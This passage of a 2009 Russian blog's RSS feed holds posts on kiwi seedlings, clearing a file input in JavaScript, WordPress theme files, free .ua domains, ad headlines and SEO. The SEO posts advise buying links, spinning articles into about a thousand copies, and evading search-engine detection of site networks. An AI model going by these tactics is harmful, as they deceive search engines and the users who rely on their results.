		<comments>http://saintist.ru/2009/07/31/o-ekzoticheskih-komnatnyx-rasteniyax/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 17:54:57 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=670</guid>
		<description><![CDATA[Еще зимой как-то купили киви, и несколько семечек воткнули в горшок для комнатных растений. Рука легкая. Все проросли, заметил что ни воткну, лень выкидывать &#8212; проростает, правда часть потом погибла. Выжило 5 растений. Киви как оказалось довольно неприхотливое, поливай да в тепле держи, не любит прямых солнечных лучей. Вымахали уже довольно приличного размера, как я [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/kiwi.jpg"><img class="size-medium wp-image-671 aligncenter" title="kiwi" src="http://saintist.ru/wp-content/uploads/2009/07/kiwi-300x286.jpg" alt="kiwi" width="300" height="286" /></a></p>
<p>Еще зимой как-то купили киви, и несколько семечек воткнули в горшок для комнатных растений. Рука легкая.  Все проросли, заметил что ни воткну, лень выкидывать &#8212; проростает,  правда часть потом погибла. Выжило 5 растений. <span id="more-670"></span> Киви как оказалось довольно неприхотливое, поливай да в тепле держи, не любит прямых солнечных лучей. Вымахали уже довольно  приличного размера, как я думал, сантиметров  80, в длинну самое развитое. С виду очень на огурец похоже, лиана одним словом. И вот стало мне интересно, когда ждать урожай?</p>
<p>Упс. Урожай начинает давать на 6 год (. Ждать долго? но да ладно подождем.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/31/o-ekzoticheskih-komnatnyx-rasteniyax/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Очистка поля input  типа file (type=&#187;file&#187;)</title>
		<link>http://saintist.ru/2009/07/29/clear-input-type-file/</link>
		<comments>http://saintist.ru/2009/07/29/clear-input-type-file/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 20:14:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[js]]></category>
		<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=668</guid>
		<description><![CDATA[У поля input с типом file нет атрибуту value, точнее он только на чтение (read-only). function clearFileInputField(Id) { document.getElementById(Id).innerHTML = document.getElementById(Id).innerHTML; }]]></description>
			<content:encoded><![CDATA[<p>У поля input  с типом file нет атрибуту value, точнее он только на чтение (read-only). </p>
<p> <span id="more-668"></span></p>
<p><span style="color: #0000ff;">function</span> clearFileInputField(Id) { </p>
<p>  <span style="color: #0000ff;">document</span>.getElementById(Id).innerHTML = <span style="color: #0000ff;">document</span>.getElementById(Id).innerHTML;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/29/clear-input-type-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Базовая структура шаблона (themes)  WordPress</title>
		<link>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/</link>
		<comments>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 18:33:38 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[themes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=665</guid>
		<description><![CDATA[Из чего же из чего-же из чего-же, сделаны наши мальчишки? Все тривиально. Основные файлы шаблонов (themes) WordPress. style.css &#8212; стили шаблона index.php &#8212; главная страница шаблона single.php &#8212; вывод одиночной записи archive.php &#8212; вывод списка записей по заданному критерию, критерием может быть категория или временная метка searchform.php &#8212; код формы поиска search.php &#8212; страница вывода [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">Из чего же из чего-же из  чего-же, сделаны наши мальчишки?<br />
<a href="http://saintist.ru/wp-content/uploads/2009/07/wordpress.jpg"><img class="size-medium wp-image-666 aligncenter" title="wordpress" src="http://saintist.ru/wp-content/uploads/2009/07/wordpress-300x200.jpg" alt="wordpress" width="300" height="200" /></a></p>
<p><span id="more-665"></span></p>
<p>Все тривиально.</p>
<p>Основные файлы шаблонов (themes) WordPress.</p>
<p><strong>style.css</strong> &#8212; стили шаблона</p>
<p><strong>index.php </strong> &#8212; главная страница шаблона</p>
<p><strong>single.php</strong> &#8212; вывод одиночной записи</p>
<p><strong>archive.php</strong> &#8212; вывод  списка записей по заданному критерию, критерием может быть  категория или временная метка</p>
<p><strong>searchform.php </strong> &#8212;  код  формы поиска</p>
<p><strong>search.php</strong> &#8212;  страница вывода результатов поиска<br />
<strong>404.php</strong> &#8212; заглушка на случай не найденной страницы</p>
<p><strong>comments.php</strong> &#8212; шаблон комментариев</p>
<p><strong>footer.php</strong> &#8212; подвал (футер) шаблона</p>
<p><strong>header.php</strong> &#8212;  шапка (хедер) шаблона</p>
<p><strong>sidebar.php </strong> &#8212; боковой блок (меню)</p>
<p><strong>page.php</strong> &#8212;  вывод одиночной страницы</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Удивительные, новые и дорогие заголовки</title>
		<link>http://saintist.ru/2009/07/22/udivitelnye-novye-i-dorogie-zagolovki/</link>
		<comments>http://saintist.ru/2009/07/22/udivitelnye-novye-i-dorogie-zagolovki/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 20:29:35 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=662</guid>
		<description><![CDATA[Мысли по поводу заголовков. 1. Продают заголовки, так как заголовки читают все, а основной текст единицы. 2. Лучше всего продают заголовки, которые обещают какую-то пользу. 3. Провозгласите новости ясно и громко прямо в заголовке. Такие заголовки вспоминают на 27% больше людей, чем заголовки без новостей. Не пренебрегайте испытанными словами такими, как удивительный, внезапно, новинка и [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/title.jpg"><img class="size-medium wp-image-663 aligncenter" title="42-21083941" src="http://saintist.ru/wp-content/uploads/2009/07/title-300x224.jpg" alt="42-21083941" width="300" height="224" /></a></p>
<p>Мысли по поводу заголовков.<br />
<span id="more-662"></span><br />
1. Продают заголовки, так как заголовки читают все, а основной текст единицы.</p>
<p>2. Лучше всего продают заголовки, которые обещают какую-то пользу.</p>
<p>3. Провозгласите новости ясно и громко прямо в заголовке. Такие заголовки вспоминают на 27% больше людей, чем заголовки без новостей.   Не пренебрегайте испытанными словами такими, как удивительный, внезапно, новинка и т. д.</p>
<p>4. В заголовке должна быть полезная  информация по теме.<br />
Если этого не сделать, основная масса тех, которые не обращают внимания на текст, никогда не узнают, какой продукт вы рекламируете.</p>
<p>5. Если вы рекламируете узкоспециализированный товар, который приобретают только ограниченная группы потребителей, включите в заголовок слова, которые привлекут внимание, например астма, недержание, женщины старше 35 лет и т. д.</p>
<p>6. Заголовки, в которых больше 10 слов, привлекают меньше внимания, чем короткие заголовки, но с другой стороны исследования показывают, что длинные заголовки продают лучше, чем короткие.</p>
<p>7. Конкретные факты работают лучше, чем общие места.</p>
<p>8.Заголовок, взятый в кавычки, запоминается на 28% лучше.<br />
Давая объявление в местной газете, включите в заголовок название данного города. Людей больше всего интересует происходящее там, где они живут</p>
<p>9. Самый большой эмоциональный отзыв вызвало слово <strong>дорогой</strong>.</p>
<p>10. Самое глупое &#8212; делать рекламу вообще без заголовка.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/22/udivitelnye-novye-i-dorogie-zagolovki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Домен бесплатно в зонах net.ua и org.ua</title>
		<link>http://saintist.ru/2009/07/22/domen-besplatno-v-zonax-netua-i-orgua/</link>
		<comments>http://saintist.ru/2009/07/22/domen-besplatno-v-zonax-netua-i-orgua/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 20:08:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[share]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=658</guid>
		<description><![CDATA[Хочется домен бесплатно? Не проблема. Для начала стоит проверить, свободен домен или нет. Шаг 1. Получить nic-handle. Ник-хендл нужен для идентификации владельца домена. Идём на http://hostmaster.ua/ или http://hostmaster.net.ua/ и регистрируем себе. Ник-хендл будет иметь вид наподобие MYNAME-UANIC 12345678901234 Шаг 2. Занести информацию о нужной зоне в DNS-сервера. Что такое &#171;DNS-сервер&#187; и прочие термины стоит узнать [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/domain-names-dice.jpg"><img class="size-medium wp-image-659 aligncenter" title="domain-names-dice" src="http://saintist.ru/wp-content/uploads/2009/07/domain-names-dice-300x299.jpg" alt="domain-names-dice" width="300" height="299" /></a></p>
<p>Хочется домен  бесплатно? Не проблема.<br />
<span id="more-658"></span></p>
<p>Для начала стоит проверить, свободен домен или нет.</p>
<p><strong>Шаг 1. Получить nic-handle.</strong></p>
<p>Ник-хендл нужен для идентификации владельца домена.<br />
Идём на http://hostmaster.ua/  или http://hostmaster.net.ua/ и регистрируем себе.<br />
Ник-хендл будет иметь вид  наподобие</p>
<p> MYNAME-UANIC  12345678901234</p>
<p><strong>Шаг 2. Занести информацию о нужной зоне в DNS-сервера.</strong><br />
Что такое &#171;DNS-сервер&#187; и прочие термины стоит узнать самому , если уже не знаешь.<br />
В UA-IX есть несколько бесплатных DNS серверов.<br />
Нам нужно будет несколько для верность, один первичный и два вторичных.</p>
<p>Первичный &#8212; http://primaryns.kiev.ua<br />
Вторичный 1 &#8212; http://secondary.net.ua<br />
Вторичный 2 &#8212; http://ns2.trifle.net</p>
<p>Достаточно использовать только один первичный и один вторичный сервер, но при желании можно использовать больше одного вторичного сервера.</p>
<p>При выборе между secondary.net.ua и ns2.trifle.net следует обратить внимание на то, что на trifle более продуманно реализовано добавление зон &#8212; все зоны находятся в одном аккаунте, тогда как на secondary будет отдельный пароль на каждую зону + необходимость активации каждой зоны после добавления.</p>
<p>Вне UA-IX есть более удобные сервера такие, как DNS Park. <a href="http://www.google.com/search?q=free+primary+nameserver">Показать ещё бесплатные DNS-сервера.</a></p>
<p>Шаг 3.Запрос на добавление зоны.</p>
<p>Отсылаем письмо на адрес auto-query@org.ua (или auto-query@net.ua)</p>
<p>Тема письма &#8212; ADD myname.org.ua</p>
<p>Тело письма:</p>
<p><strong>domain: <имя зоны><br />
descr: <описание><br />
admin-c:<br />
tech-c:<br />
nserver: <первый DNS-сервер><br />
nserver: <второй DNS-сервер></strong><br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
<strong>nserver: <последний DNS-сервер><br />
changed: <адрес e-mail, с которого отсылается письмо> <Текущая дата в формате YYYYMMDD><br />
source: UANIC</strong></p>
<p>Вот пример типичного запроса:</p>
<p><strong>domain: myname.org.ua<br />
descr: My first domain<br />
admin-c: MYNAME-UANIC<br />
tech-c: MYNAME-UANIC<br />
nserver: primaryns.kiev.ua<br />
nserver: ns.secondary.net.ua<br />
nserver: ns2.trifle.net<br />
changed: myname@pochta.ua 20070315<br />
source: UANIC</strong></p>
<p><strong>Шаг 4. Ждем уведомления о добавлении.</strong></p>
<p>Обычно в течении недели</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/22/domen-besplatno-v-zonax-netua-i-orgua/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Объектно ориентированный CSS</title>
		<link>http://saintist.ru/2009/07/21/obektno-orientirovannyj-css/</link>
		<comments>http://saintist.ru/2009/07/21/obektno-orientirovannyj-css/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 20:23:07 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[css]]></category>
		<category><![CDATA[YouTube и нетолько]]></category>
		<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=655</guid>
		<description><![CDATA[Как улучшить ваш css прямо сейчас от Николь Салливан.]]></description>
			<content:encoded><![CDATA[<p>Как улучшить ваш css прямо сейчас от Николь Салливан.</p>
<p><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=oocss-1233786987806904-3&amp;rel=0&amp;stripped_title=object-oriented-css" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=oocss-1233786987806904-3&amp;rel=0&amp;stripped_title=object-oriented-css" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/21/obektno-orientirovannyj-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Почему не растет тематического индекса цитирования (ТИЦ) ?</title>
		<link>http://saintist.ru/2009/07/20/pochemu-ne-rastet-tic/</link>
		<comments>http://saintist.ru/2009/07/20/pochemu-ne-rastet-tic/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 19:41:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=651</guid>
		<description><![CDATA[Почему тИЦ не растет? Многие задают этот вопрос. Если целью стоит поднять ТИЦ до 10-20 то можно выполнить несколько несложных приемов. Существую два фактора: 1. Внутренняя оптимизация сайта. 2. Внешние ссылки с тематических сайтов. Некоторые рекомендуют получить кучу ссылок любым способом, например регистрацией в каталогах, а тИЦ не растет почему-то. Все просто, внешние ссылки нам [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/cy.jpg"><img class="size-medium wp-image-652 aligncenter" title="cy" src="http://saintist.ru/wp-content/uploads/2009/07/cy-300x225.jpg" alt="cy" width="300" height="225" /></a></p>
<p>Почему тИЦ не растет?<br />
Многие задают этот вопрос. Если целью стоит  поднять ТИЦ до 10-20 то можно выполнить несколько несложных приемов.<br />
<span id="more-651"></span></p>
<p>Существую два фактора:</p>
<p>1. Внутренняя оптимизация сайта.<br />
2. Внешние ссылки с тематических сайтов.</p>
<p>Некоторые  рекомендуют  получить кучу ссылок любым способом, например регистрацией в каталогах, а тИЦ не растет почему-то.<br />
Все просто, внешние  ссылки нам нужны не абы какие , а тематические что внешние ссылки на сайт должны быть тематическими.</p>
<p>Оптимально  закупить пару сотен тематических ссылок на бирже, можно даже с нулевых сайтов, но обязательно тематических. Затраты в несколько рублей в день, окупятся  показателем тИЦ возросшим  за 1-2 два апа на 10-20 единиц, а может и больше.</p>
<p>Если же поднять тИЦ до 100,то стоит  напрячься. Ведь нужно  не столько поднять сколько удержать тИЦ.<br />
Можно выложить 200$ в биржу, и вооружиться ссылками. Бюджет в месяц будет равен этой же сумме. И это главная проблема, проблема материальных затрат.</p>
<p>Оптимально же было бы при минимальных материальных затратах сохранить эффект навсегда, или же как можно на длительное время.<br />
Тогда, лучший вариант это размещение статей.<br />
Пишем  5-10 уникальных статей, размножаем их, увеличив количество примерно до 1000. И все статьи размещаем на площадках, как можно больше тематических площадок. Основной фактор  уникальность статей.<br />
Затраты могут быть в пределах 100$, а можно уложиться и в 20$. Но эффект сохранится  надолго, если не навсегда. Скорее всего просто на долго  .<br />
Лучший вариант поднятие показателя тИЦ – статьи.<br />
При этом вложения будут едино разовые.</p>
<p>Лучше немного вложиться, зато потом получать постоянную прибыль, а не страдать спамом в форумах и каталогах.</p>
<p><span id="63d1460b13334b555e7e39eb6440d525"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/20/pochemu-ne-rastet-tic/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Стоп ссылки &#8212; что это такое ?</title>
		<link>http://saintist.ru/2009/07/20/stop-ssylki-chto-eto-takoe/</link>
		<comments>http://saintist.ru/2009/07/20/stop-ssylki-chto-eto-takoe/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 19:23:23 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=647</guid>
		<description><![CDATA[Не знаю правда или нет, но имеет место быть феномен. Что такое стоп ссылки? Стоп ссылки &#8212; это ссылки добавленные тем или иным путем на целевой сайт (купленные например на Sape), и которые свои присутствием тормозят продвижение сайта. Стоп-ссылка, один из методов &#171;занулить&#187; конкурента. Специфика стоп &#8212; ссылок в том что они могут необязательно исходить [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/stop.jpg"><img class="size-medium wp-image-648 aligncenter" title="dont do it!" src="http://saintist.ru/wp-content/uploads/2009/07/stop-300x299.jpg" alt="dont do it!" width="300" height="299" /></a></p>
<p>Не знаю правда или нет, но имеет место быть феномен.<br />
Что такое стоп ссылки?<br />
<span id="more-647"></span><br />
Стоп ссылки &#8212; это ссылки добавленные тем или иным путем на  целевой сайт (купленные например на Sape), и которые свои присутствием тормозят продвижение сайта.</p>
<p>Стоп-ссылка, один из методов &#171;занулить&#187; конкурента.</p>
<p>Специфика стоп &#8212; ссылок в том что они могут необязательно исходить с помоек, а с вполне нормальных  сайтов. Возможно влияет  тематика сайта  с стоп ссылкой, а может и страница.</p>
<p>Стоп-ссылки &#8212; это сильное оружие в руках знающего человека.  </p>
<p>Один из  самых  простых  способов избавления от стоп-ссылок, снять часть   старых  и купить немного новых, потом снять еще часть старых  и купить новых, и так до тех пор пока не  исчезнет эффект от стоп-ссылок.</p>
<p>При снятии стоп ссылки наблюдается резкий скачек вверх.</p>
<p>Вполне возможно что стоп-ссылки это механизм защиты поисковых  систем от бирж  ссылок.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/20/stop-ssylki-chto-eto-takoe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bounce Rate &#8212; показатель отказов</title>
		<link>http://saintist.ru/2009/07/16/bounce-rate-pokazatel-otkazov/</link>
		<comments>http://saintist.ru/2009/07/16/bounce-rate-pokazatel-otkazov/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 19:37:20 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=641</guid>
		<description><![CDATA[Соотношение всех посетителей и посетителей, покинувших сайт сразу же после просмотра только входной страницы называется показателем отказов (Bounce Rate). Этот показатель иожно использовать для оценки качества трафика от того или иного источника, а также оценки привлекательности своего сайта для посетителей. Высокий уровень bounce rate как правило является следствием плохого юзабилити сайта либо неинтересного контента. Bounce [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/bounce-rate.jpg"><img class="size-medium wp-image-642 aligncenter" title="bounce-rate" src="http://saintist.ru/wp-content/uploads/2009/07/bounce-rate-221x300.jpg" alt="bounce-rate" width="221" height="300" /></a></p>
<p>Соотношение всех посетителей и посетителей, покинувших сайт сразу же после просмотра только входной страницы называется показателем отказов (Bounce Rate).<br />
<span id="more-641"></span><br />
Этот показатель иожно использовать для  оценки качества трафика от того или иного источника, а также оценки привлекательности своего сайта для посетителей.</p>
<p>Высокий уровень  bounce rate как правило является следствием плохого юзабилити сайта либо неинтересного контента.</p>
<p>Bounce Rate зависит также от несколько внешних факторов:<br />
Если  сайт перегружен  тяжелыми элементами (флеш например) и слабый, тормозной хостинг, то посетители попросту не дожидаясь пока страница загрузится, закрывают ее.  И статистика может успеть его засчитать.<br />
Стоит учесть способ коннекта своих посетителей (Google Analytics дает и такую возможность). Если среди них много диалапщиков и коннектящихся по GPRS &#8212; то скорость загрузки для них весь критична.</p>
<p><strong>Нецелевой трафик</strong> &#8212; поисковики могут сослужить “медвежью услугу”, высоко проиндексировав сайт по нецелевым запросам. В этом случае показатеть отказов тоже возрастет.<br />
<strong>Много внешних ссылок</strong> &#8212;  особенно открывающихся в том же окне &#8212; посетитель может заинтересоваться и кликнуть на какую-то ссылку, а потом просто банально забыть, откуда он туда пришел &#8212; ну и обратно уже не вернуться.</p>
<p><strong>Bounce Rate как расчитать.</strong></p>
<p>Аналогично показателю PR, Bounce Rate считается как для сайта целиком, так и для каждой отдельной страницы.<br />
Для отдельной страницы это соотношение числа посетителей этой страницы, которые ушли с нее с сайта (exit page), ко всем посетителям этой страницы.<br />
Для сайта целиком Bounce Rate высчитывается (например, Google Analytics) как средний показатель всех страниц &#8212; или иначе как показатель соотношения единичного посещения ко всем посещениям.</p>
<p><strong>Основное правило: чем bounce rate ниже &#8212; тем лучше.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/16/bounce-rate-pokazatel-otkazov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Обновременно смешная и грусная  реклама</title>
		<link>http://saintist.ru/2009/07/16/obnovremenno-smeshnaya-i-grusnaya-reklama/</link>
		<comments>http://saintist.ru/2009/07/16/obnovremenno-smeshnaya-i-grusnaya-reklama/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 12:05:56 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=637</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/Dhv4siqoi00&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/Dhv4siqoi00&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/16/obnovremenno-smeshnaya-i-grusnaya-reklama/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>О регистрации сайтов в каталогах</title>
		<link>http://saintist.ru/2009/07/15/o-registracii-sajtov-v-katalogax/</link>
		<comments>http://saintist.ru/2009/07/15/o-registracii-sajtov-v-katalogax/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 20:56:01 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=628</guid>
		<description><![CDATA[1. Зачем это нужно? Прогон сайта по каталогам является неотъемлемой частью раскрутки сайта. Какие цели это все преследует? Основная цель это рост позиций сайта в выдаче по продвигаемым запросам. Регистрация может поднять сайт в выдаче по среднечастотным и низкочастотным запросам и упростить задачу по выводу высокочастотных запросов. Еще после хорошей регистрации растет Page Rank сайта. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/sitereg-info-rules1.jpg"><img class="alignnone size-medium wp-image-633" title="sitereg-info-rules1" src="http://saintist.ru/wp-content/uploads/2009/07/sitereg-info-rules1-290x300.jpg" alt="sitereg-info-rules1" width="290" height="300" /></a></p>
<p><strong>1. Зачем это нужно?</strong></p>
<p>Прогон сайта по каталогам является неотъемлемой частью раскрутки сайта. Какие цели это все преследует?<br />
Основная цель это рост позиций сайта в выдаче по продвигаемым запросам. Регистрация  может поднять сайт в выдаче по среднечастотным и низкочастотным запросам и упростить задачу по выводу высокочастотных запросов. Еще после хорошей регистрации растет  Page Rank сайта.<br />
<span id="more-628"></span><br />
Для нулевых проектов рост PR может составить 1-4. Также увеличивается так называемый вес сайта, а это увеличивает видимость сайта в поисковых системах по самым разнообразным запросам.</p>
<p><strong>2. Подготовка</strong></p>
<p>Составление названий сайта (titles) одно из  важный приготовлений к регистрации. Тайтлы являются ссылки, размещаемой в каталоге. Размер тайтла должен быть от 10 до 50 символов.</p>
<p>Также следует составить список высокочастотных ключевых слов, по которым будет продвигаться сайт. Желательно, их  присутствие  на главной странице.</p>
<p>На следующем шаге подготовки , нужно расширить этот список за счет средне- и низкочастотников. Для этого можно использовать Google Keyword Tool или другой инструмент.</p>
<p>Желательно выбирать слова, которые есть на странице, но, если какого-то ключевика не будет на странице, то ничего страшного не произойдет. Желательно чтоб  список состоял не менее чем из 50-100 ключевиков.<br />
Следует также немного разбавить его вариаторами.  Например если мы  регим  блог по  IT то можно  добавить несколько слов имеющих  косвенное отношение к выбранной тематике. При этом в списке оставляем ключевик, к которому мы добавляли дополнительное слово. Нужно следить, чтобы такое сочетание имело смысл.</p>
<p>В самом крупном и авторитетном каталоге сайтов <strong>Dmoz </strong>одним из условий приема сайта является капитализация первых букв слов тайтла.<br />
Теперь нужно сделать не менее важный кусок работы – подготовить описания сайта (descriptions). Надо отметить, что большинство каталогов принимают дескрипшены размером 100-250 символов. Однако некоторые каталоги требуют дескрипшены размером 250-1000 символов. Мы рекомендуем делать тайтлы первой группы размером 150-200 символов, второй группы 260-300 символов.</p>
<p>Итак, нужно написать одно малое и одно большое описание.</p>
<p>Лучше написать уникальное описание, точно отражающее содержание регистрируемого сайта.</p>
<p>Рекомендуем придерживаться стиля, выдержанного в авторитетных каталогах (например, Dmoz.org или каталоге Yahoo.</p>
<p><strong>3. Плохой тон  при составлении дескрипшенов?</strong></p>
<p>Писать ключевики через запятую, указывать несуществующую информацию о сайте (например, на сайте нет форума, а пишется, что он есть), писать рекламные призывы, не писать, что регистрируемый сайт “is the best” и т.д. То есть описание желательно составлять в беспристрастном тоне в описательном ключе. Естественно, в нем не должно быть ошибок.</p>
<p>После того, как 2 дескрипшена сделано, нужно их «размножить». Для этого нужно составить список синонимов для всех слов, для которых это возможно и в какой-нибудь программе для размножения текста провести операцию по тиражированию. Для этого можно воспользоваться, например, бесплатной программой Seo Generator.</p>
<p>Теперь надо создать E-mail. Можно увеличить вероятность принятия сайта в каталог, создав емайл вида info@site.com. То есть, создается E-mail на домене регистрируемого сайта. Если регистрируется E-mail на gmail.com или другом бесплатном сервисе (желательно не русском), рекомендуем регистрировать емейл вида имя.фамилия@gmail.com (например, john.white36@gmail.com). При этом при регистрации данного проекта стоит в поле Name указывать это же имя.</p>
<p>Мы также рекомендуем при регистрации заполнять необязательные поля address, phone number, fax number и т.д.</p>
<p><strong>4. Выбор каталогов</strong></p>
<p>Каталоги бываю двух  типов: модерируемые и немодерируемые. Немодерируемые каталоги (FFA) размещают любые ссылки, которые в них добавляют. Это выгребные  ямы, с ними лучше не связываться, можно испортить  репутацию сайта.</p>
<p>Оптимально регистрироваться только   в каталогах  с модерацией.</p>
<p>Среди модерируемых каталогов встречаются следующие группы: бесплатные (free), требующие обратную ссылку (reciprocal), платные (paid).</p>
<p>Бесплатные каталоги ничего не требуют за размещение на них ссылки. Reciprocal (серые) каталоги требуют наличия обратной ссылки на сам каталог или другой ресурс, причем ссылка должна быть размещена перед регистрацией сайта в каталоге (большинство скриптов каталогах проверяют ее наличие в момент сабмита и возвращают ошибку в случае, если ссылка не найдена). Платные каталоги берут деньги за размещение ссылки – это метод раскрутки для богатых Буратино. Мы считаем что деньги можно расходовать более эффективно, нежели покупать ссылки на каталогах (тем более если они общетематические).</p>
<p><strong>5. Регистрация</strong></p>
<p>Допустим, мы собрали хорошую базу белых или белых и серых каталогов и разместили бэки, если это нужно. Теперь можно начинать регистрацию. Мы не будем описывать софт, который позволяет регистрировать сайты в каталогах, поскольку не пользуемся распространенными программами вроде Allsubmitter. Поэтому о создании проектов в этой и других программах можно почитать в других источниках.</p>
<p>Прежде всего, важнейшим моментом в регистрации сайта в каталогах является выбор правильного раздела. Если раздел будет выбран неправильно, то сайт скорее всего не будет принят в каталог.</p>
<p>Нюансы регистрации:</p>
<p>- Желательно регистрировать проект с минимальной скоростью – по 100-200 сабмитов в день. Это позволит избежать начального скачкообразного роста бэков. Кроме того, бэки будут появляться в течение более длительного периода времени, что выглядит для поисковой системы естественней.</p>
<p>- Желательно проверять базу каталогов на IP адресами, на которых находятся каталоги и регистрировать сайт только на каталогах с уникальными IP.</p>
<p>- Если регистрируется сетка сайтов, то стоит делать интервалы между сабмитами в один каталог. Кроме этого, желательно по возможности сабмитить сайт в разные разделы одного каталога. Эти моменты с большей вероятностью приведут к размещению ссылок на регистрируемый сайт на разных страницах каталога, что уменьшает риск обнаружения сетки поисковыми системами. После того, как сайт был зарегистрирован, нужно подтвердить регистрацию в каталогах. Для этого нужно прочитать письма, в которых есть ссылка для подтверждения, и нажать на нее.</p>
<p><strong>Заключение</strong></p>
<p>для более высокой отдачи от регистрации рекомендуем регистрировать сайт в 100-200 каталогах в сутки, регистрировать сайт в каталогах с уникальными IP адресами, соблюдать рекомендации по регистрации сеток сайтов.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/15/o-registracii-sajtov-v-katalogax/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>php mp3 ID3 теги ID3 tag</title>
		<link>http://saintist.ru/2009/07/09/php-mp3-id3-tag/</link>
		<comments>http://saintist.ru/2009/07/09/php-mp3-id3-tag/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 19:37:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=621</guid>
